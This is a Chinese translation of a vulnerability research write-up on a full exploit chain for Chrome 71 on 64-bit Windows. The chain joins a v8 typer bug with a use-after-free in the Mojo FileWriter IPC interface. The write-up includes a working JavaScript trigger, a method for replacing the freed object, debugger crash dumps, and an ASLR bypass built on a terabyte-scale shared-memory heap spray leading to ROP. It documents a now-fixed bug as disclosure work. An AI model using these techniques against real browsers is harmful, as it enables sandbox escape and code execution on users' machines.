概述
我们在Chrome中,发现了一系列可能存在的沙箱逃逸漏洞。在此之后,我们认为可以将这些漏洞中的一个与渲染器存在的漏洞共同利用,形成一条完整的漏洞利用链,同时也能够让我们更好地理解现代Chrome漏洞利用所需的机制。考虑到全部可用的漏洞,最有可能被利用的是Issue 1755,这一Use-After-Free漏洞与经典的JavaScript引擎回调漏洞相似。目前看来,这是一个很好的候选者,因为攻击者对free’d对象的生命周期,以及随后使用对象的时间都具有高级别的控制。
针对关于Mojo IPC机制如何运作的细节,我们没有详细进行分析,在这里先提前向各位读者表示抱歉。在未来,我们会发表一些博客文章,更加详细地解释当前Chrome沙箱界面的接口,但实际上,其中有很多需要解释的内容。
在本文所涉及的分析过程中,我们使用的是官方修复此漏洞前的最新稳定版本,64位Windows版本Chrome 71.0.3578.98。
准备工作
我们在研究Chrome的Mojo IPC层时,注意到的最值得关注的事实之一,是它实际上可以从Chrome中的JavaScript进行IPC调用。将命令行标志“--enable-blink-features=MojoJS”传递给Chrome即可启用此功能。我们使用此功能,实现了一个Mojo Fuzzer,并借助该工具发现了一些漏洞并上报。
在了解这一特性之后,实现完整Chrome漏洞利用链的最简单方法,就是使用渲染器漏洞利用,在正在运行的渲染器中启用这些绑定,随后从JavaScript执行我们的权限提升。
渲染器漏洞利用
恰巧,_tsuro一直在致力于CVE-2019-5782的漏洞利用,这是由SOrryMybad发现的漏洞,并在天福杯上首次利用,其原因在于v8 typer中存在漏洞。我相信该漏洞的发现者将针对其详细信息发表文章,因此我把对细节的介绍过程留给他们。
该漏洞错误地估计了“arguments.length”的可能范围。然后,可以将该漏洞与JIT中的Bounds-Check-Elimination(BCE)传递一同利用。该漏洞的利用方法与其他typer漏洞非常相似,我们可以在“many_args.js”中找到漏洞。需要注意的是,在_tsuro发现该漏洞并提交后,v8研发团队已经删除了BCE优化,使得在typer中更难利用这些漏洞。
在这里,重要的是,我们需要有一个稳定的漏洞利用方式。为了启动沙箱转义,我们需要启用Mojo绑定。最简单的方法是重新加载主框架,这意味着,我们在损坏的状态下留下的任何对象,都将公平地参与到“垃圾收集”(Garbage Collection)机制的游戏当中。
分析浏览器进程
通过浏览Chrome源代码,我们可以看到Mojo绑定基于成员变量nabled_bindings_添加到RenderFrameImpl::DidCreateScriptContext中的JavaScript上下文中。因此,为了模仿命令行标志,我们可以使用读写操作,将该值设置为BINDINGS_POLICY_MOJO_WEB_UI,并强制为主框架创建新的ScriptContext,我们应该可以访问绑定。
要获取当前帧的RenderFrameImpl,这一过程有些痛苦。但是,通过跟随全局上下文对象的指针链,我们可以找到chrome_child.dll,并找到全局g_frame_map,它是一个从blink::Frame指针到RenderFrameImpl指针的映射。为了利用这一漏洞,我们假设此映射中只有一个条目。但如果要对其进行扩展,以找到最合适的一个,这一过程非常简单。在这里,我们可以轻松设置正确的标志,并重新加载页面,具体可以参见实现的“enable_mo.js”。
需要注意的是,Chrome会在构建时随机化IPC序列,因此除了启用绑定之外,我们还需要为每个要调用的IPC方法找到正确的序号。在我们所使用的反汇编程序中,可以几分钟之内解决问题。鉴于渲染器需要能够调用这些IPC方法,如果我们试图支持更多的Chrome构建,我们可以设计一个略微繁琐的混淆过程。但对于我们本文所使用的版本环境,下面的代码足以用来修改我们需要的JavaScript绑定。
var kBlob_GetInternalUUID_Name = 0x2538AE26;
var kBlobRegistry_Register_Name = 0x2158E98A;
var kBlobRegistry_RegisterFromStream_Name = 0x719E4F82;
var kFileSystemManager_Open_Name = 0x305E02BE;
var kFileSystemManager_CreateWriter_Name = 0x63B8D2A6;
var kFileWriter_Write_Name = 0x64D4FC1C;
漏洞分析
所以,我们可以从JavaScript访问IPC接口。那么,接下来该怎么办呢?
我们正在分析的漏洞,是FileSystem API的FileWriter接口的实现中存在的问题。下面是FileWriter接口的描述,这是特权浏览器进程向非特权渲染器进程提供的IPC端点,允许渲染器对特殊的沙箱文件系统通过代理执行文件写入操作:
// Interface provided to the renderer to let a renderer write data to a file.
interface FileWriter {
// Write data from |blob| to the given |position| in the file being written
// to. Returns whether the operation succeeded and if so how many bytes were
// written.
// TODO(mek): This might need some way of reporting progress events back to
// the renderer.
Write(uint64 position, Blob blob) => (mojo_base.mojom.FileError result,
uint64 bytes_written);
// Write data from |stream| to the given |position| in the file being written
// to. Returns whether the operation succeeded and if so how many bytes were
// written.
// TODO(mek): This might need some way of reporting progress events back to
// the renderer.
WriteStream(uint64 position, handle stream) =>
(mojo_base.mojom.FileError result, uint64 bytes_written);
// Changes the length of the file to be |length|. If |length| is larger than
// the current size of the file, the file will be extended, and the extended
// part is filled with null bytes.
Truncate(uint64 length) => (mojo_base.mojom.FileError result);
};
该漏洞存在于第一种方法Write的实现中。但是,在我们正确理解该漏洞之前,我们首先还需要了解FileWriter对象的生命周期。渲染器可以使用FileSystemManager接口中的一个方法来请求FileWriter实例:
// Interface provided by the browser to the renderer to carry out filesystem
// operations. All [Sync] methods should only be called synchronously on worker
// threads (and asynchronously otherwise).
interface FileSystemManager {
// ...
// Creates a writer for the given file at |file_path|.
CreateWriter(url.mojom.Url file_path) =>
(mojo_base.mojom.FileError result,
blink.mojom.FileWriter? writer);
// ...
};
该功能的实现可以在这里找到:
void FileSystemManagerImpl::CreateWriter(const GURL& file_path,
CreateWriterCallback callback) {
DCHECK_CURRENTLY_ON(BrowserThread::IO);
FileSystemURL url(context_->CrackURL(file_path));
base::Optional<:file::error> opt_error = ValidateFileSystemURL(url);
if (opt_error) {
std::move(callback).Run(opt_error.value(), nullptr);
return;
}
if (!security_policy_->CanWriteFileSystemFile(process_id_, url)) {
std::move(callback).Run(base::File::FILE_ERROR_SECURITY, nullptr);
return;
}
blink::mojom::FileWriterPtr writer;
mojo::MakeStrongBinding(std::make_unique<:filewriterimpl>(
url, context_->CreateFileSystemOperationRunner(),
blob_storage_context_->context()->AsWeakPtr()),
MakeRequest(&writer));
std::move(callback).Run(base::File::FILE_OK, std::move(writer));
}
这里的含义是,如果一切正常,就将返回绑定到mojo::StrongBinding的std::unique_ptr<:filewriterimpl>。强绑定(Strong Binding)意味着对象的生命周期将绑定到Mojo接口指针的生命周期,这也就意味着连接的另一端可以控制对象的生命周期,以及storage::FileWriterImpl字段中的代码,这部分内容负责对与该绑定相关联的序列进行控制,可以关闭连接,也可以释放实例。
这为我们提供了blink::mojom::FileWriter Mojo接口的句柄。我们感兴趣的函数是Write方法,它有一个blink::mojom::Blob的句柄作为其一个参数。我们很快就能再次分析这一Blob接口。
考虑到上述情况,是时候看看易受攻击的函数了。
void FileWriterImpl::Write(uint64_t position,
blink::mojom::BlobPtr blob,
WriteCallback callback) {
blob_context_->GetBlobDataFromBlobPtr(
std::move(blob),
base::BindOnce(&FileWriterImpl::DoWrite, base::Unretained(this),
std::move(callback), position));
}
现在,在这里的问题并不是很明显。但在Chrome代码库中,base::Unretained的实例明显不是正确的,这些实例通常需要我们进一步调查(将会创建一个未经检查的未知引用,详情请参阅Chrome文档(https://www.chromium.org/developers/coding-style/important-abstractions-and-data-structures))。所以,要保证这一代码的安全性,只能保证GetBlobDataFromBlobPtr始终同步调用回调。或者,销毁这一代码,可以确保永远不会调用回调。由于blob_context_与其权限不同,所以我们还需要查看GetBlobDataFromBlobPtr的实现,以及它使用回调的方式:
void BlobStorageContext::GetBlobDataFromBlobPtr(
blink::mojom::BlobPtr blob,
base::OnceCallback)> callback) {
DCHECK(blob);
blink::mojom::Blob* raw_blob = blob.get();
raw_blob->GetInternalUUID(mojo::WrapCallbackWithDefaultInvokeIfNotRun(
base::BindOnce(
[](blink::mojom::BlobPtr, base::WeakPtr context,
base::OnceCallback)> callback,
const std::string& uuid) {
if (!context || uuid.empty()) {
std::move(callback).Run(nullptr);
return;
}
std::move(callback).Run(context->GetBlobDataFromUUID(uuid));
},
std::move(blob), AsWeakPtr(), std::move(callback)),
""));
}
上面的代码在传递给它的Blob参数上,调用异步Mojo IPC方法GetInternalUUID,然后在回调中,当该方法返回时,使用返回的UUID来查找关联的Blob数据(GetBlobDataFromUUID),并调用回调参数,以此数据作为其中的参数。
我们可以看到,回调被传递给Blob接口公开的异步Mojo函数所返回的回调:
// This interface provides access to a blob in the blob system.
interface Blob {
// Creates a copy of this Blob reference.
Clone(Blob& blob);
// Creates a reference to this Blob as a DataPipeGetter.
AsDataPipeGetter(network.mojom.DataPipeGetter& data_pipe_getter);
// Causes the entire contents of this blob to be written into the given data
// pipe. An optional BlobReaderClient will be informed of the result of the
// read operation.
ReadAll(handle pipe, BlobReaderClient? client);
// Causes a subrange of the contents of this blob to be written into the
// given data pipe. If |length| is -1 (uint64_t max), the range's end is
// unbounded so the entire contents are read starting at |offset|. An
// optional BlobReaderClient will be informed of the result of the read
// operation.
ReadRange(uint64 offset, uint64 length, handle pipe,
BlobReaderClient? client);
// Reads the side-data (if any) associated with this blob. This is the same
// data that would be passed to OnReceivedCachedMetadata if you were reading
// this blob through a blob URL.
ReadSideData() => (array? data);
// This method is an implementation detail of the blob system. You should not
// ever need to call it directly.
// This returns the internal UUID of the blob, used by the blob system to
// identify the blob.
GetInternalUUID() => (string uuid);
};
这意味着,我们可以在渲染器进程中提供此Blob接口的实现,将该实现传递给FileWriter接口的Write方法,我们将在执行GetBlobDataFromBlobPtr期间从浏览器进程到渲染器进程进行回调,在此期间我们可以销毁FileWriter对象。无论这种回调如何,使用base::Unretained都是危险的,但是以这种方式进行安排,将会使之变得更加清晰。
步骤1:触发器
首先,我们需要实际到达漏洞。这里是我们使用的一个最小化触发器,利用我们此前启用的MojoJS绑定的JS。一个完整的示例将附加到Bugtracker条目,文件名为“trigger.js”。
async function trigger() {
// we need to know the UUID for a valid Blob
let blob_registry_ptr = new blink.mojom.BlobRegistryPtr();
Mojo.bindInterface(blink.mojom.BlobRegistry.name,
mojo.makeRequest(blob_registry_ptr).handle, "process");
let bytes_provider = new BytesProviderImpl();
let bytes_provider_ptr = new blink.mojom.BytesProviderPtr();
bytes_provider.binding.bind(mojo.makeRequest(bytes_provider_ptr));
let blob_ptr = new blink.mojom.BlobPtr();
let blob_req = mojo.makeRequest(blob_ptr);
let data_element = new blink.mojom.DataElement();
data_element.bytes = new blink.mojom.DataElementBytes();
data_element.bytes.length = 1;
data_element.bytes.embeddedData = [0];
data_element.bytes.data = bytes_provider_ptr;
await blob_registry_ptr.register(blob_req, 'aaaa', "text/html", "", [data_element]);
// now we have a valid UUID, we can trigger the bug
let file_system_manager_ptr = new blink.mojom.FileSystemManagerPtr();
Mojo.bindInterface(blink.mojom.FileSystemManager.name,
mojo.makeRequest(file_system_manager_ptr).handle, "process");
let host_url = new url.mojom.Url();
host_url.url = window.location.href;
let open_result = await file_system_manager_ptr.open(host_url, 0);
let file_url = new url.mojom.Url();
file_url.url = open_result.rootUrl.url + '/aaaa';
let file_writer = (await file_system_manager_ptr.createWriter(file_url)).writer;
function BlobImpl() {
this.binding = new mojo.Binding(blink.mojom.Blob, this);
}
BlobImpl.prototype = {
getInternalUUID: async (arg0) => {
// here we free the FileWriterImpl in the callback
create_writer_result.writer.ptr.reset();
return {'uuid': 'aaaa'};
}
};
let blob_impl = new BlobImpl();
let blob_impl_ptr = new blink.mojom.BlobPtr();
blob_impl.binding.bind(mojo.makeRequest(blob_impl_ptr));
file_writer.write(0, blob_impl_ptr);
}
步骤2:替换
尽管最终可能没有多大用处,但是我通常喜欢用完全受攻击者控制的数据替换对象,来开始Use-After-Free的漏洞利用过程。尽管没有ASLR绕过或信息泄漏,因此我们不太可能对这个原语做任何有意义的事情,但是这一过程通常有助于我们理解所涉及对象周围的分配模式,并且这里给出了明确的崩溃信息,这对于证明漏洞的可利用性是非常有帮助的。
在我们所使用的Windows环境中,FileWriterImpl的大小为0x140字节。我最初直接考虑使用JavaScript Blob API创建分配,但这会导致大量相同大小的临时分配,会显著降低可靠性。在浏览器进程中,使用受控制数据分配受控制大小的更好方法,是使用BlobRegistry registerFromStream方法注册新的Blob,在初始调用registerFromStream期间将执行所有辅助分配。然后,我们可以通过将数据写入DataPipeProducerHandle的方式,来触发所需大小和内容的单个分配。
我们可以测试这一情况(参见trigger_replace.js),实际上,它确实利用一个包含完全受控制字节的缓冲区,可靠地替换了free'd对象,并以我们期望的方式实现了崩溃:
(1594.226c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
chrome!storage::FileSystemOperationRunner::GetMetadata+0x33:
00007ffc`362a1a99 488b4908 mov rcx,qword ptr [rcx+8] ds:23232323`2323232b=????????????????
0:002> r
rax=0000ce61f98b376e rbx=0000021b30eb4bd0 rcx=2323232323232323
rdx=0000021b30eb4bd0 rsi=0000005ae4ffe3e0 rdi=2323232323232323
rip=00007ffc362a1a99 rsp=0000005ae4ffe2f0 rbp=0000005ae4ffe468
r8=0000005ae4ffe35c r9=0000005ae4ffe3e0 r10=0000021b30badbf0
r11=0000000000000000 r12=0000000000000000 r13=0000005ae4ffe470
r14=0000000000000001 r15=0000005ae4ffe3e8
iopl=0 nv up ei pl nz na pe nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
chrome!storage::FileSystemOperationRunner::GetMetadata+0x33:
00007ffc`362a1a99 488b4908 mov rcx,qword ptr [rcx+8] ds:23232323`2323232b=????????????????
0:002> k
# Child-SP RetAddr Call Site
00 0000005a`e4ffe2f0 00007ffc`362a74ed chrome!storage::FileSystemOperationRunner::GetMetadata+0x33 01 0000005a`e4ffe3a0 00007ffc`362a7aef chrome!storage::FileWriterImpl::DoWrite+0xed
…
步骤3:信息泄漏
当我们需要能在其中放置有效指针时,控制free’d对象中的数据似乎并没有太多用处。因此,此时我们需要考虑如何使用free’d对象,并且应该考虑有哪些选项可以用于使用不同类型的对象来替换free’d对象。实质上,可以将Use-After-Free转换为类型混淆,这将对我们有所帮助。
在WinDBG中查看相同大小的对象,我们没有得到任何直接的答案。并且,因为从DoWrite调用的大多数方法都是非虚拟的,所以我们实际上需要相当大量的结构,才能替换掉正确的对象。
void FileWriterImpl::DoWrite(WriteCallback callback,
uint64_t position,
std::unique_ptr blob) {
if (!blob) {
std::move(callback).Run(base::File::FILE_ERROR_FAILED, 0);
return;
}
// FileSystemOperationRunner assumes that positions passed to Write are always
// valid, and will NOTREACHED() if that is not the case, so first check the
// size of the file to make sure the position passed in from the renderer is
// in fact valid.
// Of course the file could still change between checking its size and the
// write operation being started, but this is at least a lot better than the
// old implementation where the renderer only checks against how big it thinks
// the file currently is.
operation_runner_->GetMetadata(
url_, FileSystemOperation::GET_METADATA_FIELD_SIZE,
base::BindRepeating(&FileWriterImpl::DoWriteWithFileInfo,
base::Unretained(this),
base::AdaptCallbackForRepeating(std::move(callback)),
position, base::Passed(std::move(blob))));
}
所以,我们将使用从free’d对象内部获取的this指针,对FileSystemOperationRunner::GetMetadata进行非虚拟调用:
OperationID FileSystemOperationRunner::GetMetadata(
const FileSystemURL& url,
int fields,
GetMetadataCallback callback) {
base::File::Error error = base::File::FILE_OK;
std::unique_ptr operation = base::WrapUnique(
file_system_context_->CreateFileSystemOperation(url, &error));
...
}
步骤4:信息泄漏(第2轮)
我们已经厌倦了长时间盯着调试器中的结构布局,因此现在是时候考虑一下替代方案了。Windows上的ASLR实现,意味着如果在多个进程中加载相同的库,它们将位于相同的基址。因此,渲染器中加载的任何库,都将加载到浏览器进程中的已知地址。
我们可以用FileSystemOperationRunner替换一些对象,将FileSystemContext指针排列为受控制的字符串数据。我们可以利用它来伪造backend_map_的第一个(开始)节点,并指向我们可以找到的其中一个模块的数据部分,并且正确排列,以便我们可以查找第一个条目。这只需要一组更小的约束:
ptr = getPtr(address)
getUint8(ptr + 0x19) == 0
getUint32(ptr + 0x20) == 0
obj = getPtr(ptr + 0x28)
vtable = getPtr(obj)
function = getPtr(vtable + 0x38)
遗憾的是,满足这些约束的地址集并没有真正产生任何有用的原语。
步骤5:ASLR绕过
此时,我们几乎要准备放弃了。但是,这时我们想起了与Issue 1642相关的一个奇怪现象,这是Mojo核心代码中的一个漏洞。特别是,当Mojo连接的接收端收到DataPipe*Dispatcher对象时,它将立即映射关联的共享内存段(映射发生在对InitializeNoLock的调用中)。
由于浏览器进程中没有内存或虚拟地址空间的限制,这表明事实上,如果我们可以使用共享内存映射简单地喷射浏览器的虚拟地址空间,我们可以完全绕过ASLR,而不会出现信息泄漏问题。需要注意的是,渲染器限制仍然存在,因此我们需要找到一种方法来执行此操作,并且不会超出渲染器的限制。在渲染器中运行本机代码相当简单,我们可以简单地将句柄复制到同一个共享内存页面,并重复发送它们,但是留在JavaScript中应该是一个不错的选项。
查看MojoJS绑定中MojoHandle接口的IDL,我们可以注意到,尽管我们无法克隆DataPipe句柄,但我们可以克隆SharedBuffer句柄。
interface MojoHandle {
...
// TODO(alokp): Create MojoDataPipeProducerHandle and MojoDataPipeConsumerHandle,
// subclasses of MojoHandle and move the following member functions.
MojoWriteDataResult writeData(BufferSource buffer, optional MojoWriteDataOptions options);
MojoReadDataResult queryData();
MojoReadDataResult discardData(unsigned long numBytes, optional MojoDiscardDataOptions options);
MojoReadDataResult readData(BufferSource buffer, optional MojoReadDataOptions options);
// TODO(alokp): Create MojoSharedBufferHandle, a subclass of MojoHandle
// and move the following member functions.
MojoMapBufferResult mapBuffer(unsigned long offset, unsigned long numBytes);
MojoCreateSharedBufferResult duplicateBufferHandle(optional MojoDuplicateBufferHandleOptions options);
};
遗憾的是,SharedBuffers在浏览器进程接口中的使用频率较低,并且在反序列化时不会自动映射,因此它对我们来说没有太大的帮助。但是,由于SharedBuffers和DataPipes都支持相同的操作系统级原语,我们仍然可以利用它来发挥一定作用。通过创建具有较小共享内存、相同数量的DataPipe,以及单个较大的SharedBuffer的克隆,我们可以使用任意读写,来交换备份缓冲区。
正如在上面的VMMap截图中所看到的那样,这是一种有效且快捷的方法。第一次测试中,我们进行了16TB的喷射,这有些夸张,但在现实中,大约只需3.5TB就足以得到可靠、可预测的地址。最后,我们有机会在现代64位Chrome的漏洞利用中,引用SkyLined发现的MS04-040漏洞利用。
rax=00000404040401e8 rbx=000001fdba193480 rcx=00000404040401e8
rdx=000001fdba193480 rsi=00000002f39fe97c rdi=00000404040400b0
rip=00007ffd87270258 rsp=00000002f39fe8c0 rbp=00000002f39fea88
r8=00000404040400b0 r9=00000002f39fe8e4 r10=00000404040401f0
r11=0000000000000000 r12=0000000000000000 r13=00000002f39fea90
r14=0000000000000001 r15=00000002f39fea08
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
chrome!storage::FileSystemContext::CreateFileSystemOperation+0x4c:
00007ffd`87270258 41ff5238 call qword ptr [r10+38h] ds:00000404`04040228=4141414141414141
路线图
在最后,我们盘点一些我们需要的所有“重型机械”,其余的都只是具体实践的工程问题。以细节为导向,我们可以在Bugtracker中找到一个完整的、有效的漏洞利用程序,从而就应该能够识别处理漏洞的所有后续阶段的代码:
1. 渲染器中任意读写问题
(1) 启用MojoJS绑定
(2) 运行沙箱逃逸
2. 沙箱逃逸
(1) 渲染器中任意读写问题(再次利用)
(2) 在渲染器地址空间中,找到Pivots和渲染器地址空间中的ROP链
(3) 构建将要在浏览器地址空间中喷射的数据页面,其中包含伪FileSystemOperationRunner、FileSystemContext、FileSystemBackend对象
(4) 触发漏洞
(5) 将free'd FileWriterImpl替换为伪造的对象,该对象将使用我们的喷射内容作为FileSystemOperationRunner指针定位的地址
(6) 将我们在2(3)中构建的页面的约4TB副本喷射进入浏览器进程地址空间
(7) 在浏览器进程中从渲染器返回到FileWriterImpl::DoWrite,转到我们的ROP链和Payload
(8) 弹出计算器
(9) 清理,以便浏览器可以继续运行
总结
目前,我们已经能够在ASLR实现中利用其薄弱点来实现漏洞利用,而不再需要信息泄漏。
有两个关键的ASLR薄弱点,可以可靠地利用这个漏洞:
1. Windows上没有进行进程间随机化(Inter-Process Randomisation),这样导致可以在目标进程中定位有效的代码地址,而不会发送信息泄漏。同样,macOS和iOS上也存在这一问题。
2. Chrome浏览器进程中的地址空间使用没有进行限制,导致可以预测堆喷射中的有效数据地址。
如果没有这两个原语,那么对这一漏洞的利用将会变得更加困难,并且可能是漏洞利用不再可用(例如:需要继续寻找其他漏洞进行利用,或者Use-After-Free之后不能实现信息泄漏)。